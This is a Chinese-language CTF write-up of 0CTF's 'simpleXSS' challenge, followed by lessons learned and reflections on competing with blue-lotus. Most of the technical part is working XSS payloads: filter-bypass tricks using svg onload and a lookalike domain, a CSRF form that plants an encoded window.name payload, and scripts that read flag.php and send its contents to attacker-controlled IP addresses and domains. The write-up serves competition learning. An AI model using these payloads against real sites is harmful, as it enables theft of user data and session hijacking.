</body>

juhao


<html>
<head>
    <meta charset="utf-8">
    <title>XSS Test Page</title>
</head>
<body>
<p>

            <iframe src=\\router。vip\flag。php

</p>
</body>

juhao2

最终的payload:

<link rel=import href=\\test。com

https://test。com/index.html

<html>
<head>
<meta http-equiv="Access-Control-Allow-Origin" content="*">
</head>


<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("https://router.vip/flag.php",function(data){
//alert(data);
        location.href="http://104.224.169.90:6789/"+escape(data);
});
</script>


</html>

奇特的思路 svg

看了LC↯BC的题解,思路超级猥琐!

payload

<svg id=\ onload=location=id+id+12345609861+domain+id+1234+id

这个domain是取的当下页面的domain,也就是router.vip。所以,我们需要注册一个xxxxrouter.vip的域名。这种思路主要是因为.被过滤了。(俄罗斯人肯定不知道。可以过滤成.2333中文的强大😂)

然后,在 https://12345609861router.vip/1234/index.html下写了一个页面。将<svg onload=location=name提交给preview,完成二次xss触发。它会执行window.name中的东西,发送一个get请求,并把数据弹回来

<html>
  <body>
    <form id="send" action="https://router.vip/preview.php?" method="POST">
      <input type="hidden" name="task" value="" />
      <input type="hidden" name="payload" value="&lt;svg&#32;onload&#61;location&#61;name" />
      <input type="hidden" name="geetest&#95;challenge" value="" />
      <input type="hidden" name="geetest&#95;validate" value="" />
      <input type="hidden" name="geetest&#95;seccode" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
    window.name = "javascript:%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%78%68%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%72%6f%75%74%65%72%2e%76%69%70%2f%66%6c%61%67%2e%70%68%70%27%2c%20%66%61%6c%73%65%29%3b%0a%78%68%72%2e%73%65%6e%64%28%29%3b%0a%69%66%20%28%78%68%72%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%0a%20%20%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%31%32%33%34%35%36%30%39%38%36%31%72%6f%75%74%65%72%2e%76%69%70%2f%31%32%33%34%2f%3f%72%65%73%75%6c%74%3d%27%2b%78%68%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d";
    document.getElementById("send").submit();
    </script>
  </body>
</html>

伪协议解码

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://router.vip/flag.php', false);
xhr.send();
if (xhr.status == 200) {
  location='https://12345609861router.vip/1234/?result='+xhr.responseText;
}

然后就能得到flag: flag{th1s_is_fr0m_a_re4l_cas3}

WP

其他的收获

  1. 如果发现jquery用不了,写原生的js又太蛋疼,可以加载一个jquery进来,继续干。当然,前提那个页面是你可控的。

    <script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
    <script type="text/javascript">
    $.get("https://router.vip/flag.php",function(data){
    //alert(data);
    	location.href="http://119.29.135.206:23333/"+escape(data);
    });
    </script>
    

  2. 在调试网络请求的时候,发现一款chrome有一个更细微的网络监控

    https://segmentfault.com/q/1010000000364871

    net-internals

  3. 这里学到了一个burp suite的小技巧

    原来burpsuite可以用来生成表单

    burp

    0ctfoscf

    生成ajax格式的(简直是我这种弱渣js选手的救星)

    ajaxburp

  4. 赛后务必学习WP,务必复现WP,务必总结文档!!收获很多。

废话

这次0ctf,第一次正式以blue-lotus参赛,队友们都很拼。第二晚,我们Web组一起怼simpleXSS弄到了将近4点,老司机大佬们3点半的时候,还在继续怼各种二进制,韦博看那个OTP整整看了两天,晚上睡觉还一直记着那道题..实在话,比赛或许最重要的不是最后的成绩,而是有一群队友肯陪你疯~

回顾整场比赛,真是深深觉得自己的js功底太差了,得好好补补。越学越觉得自己懂得东西真的太少太少,还需要学习很多很多套路orz。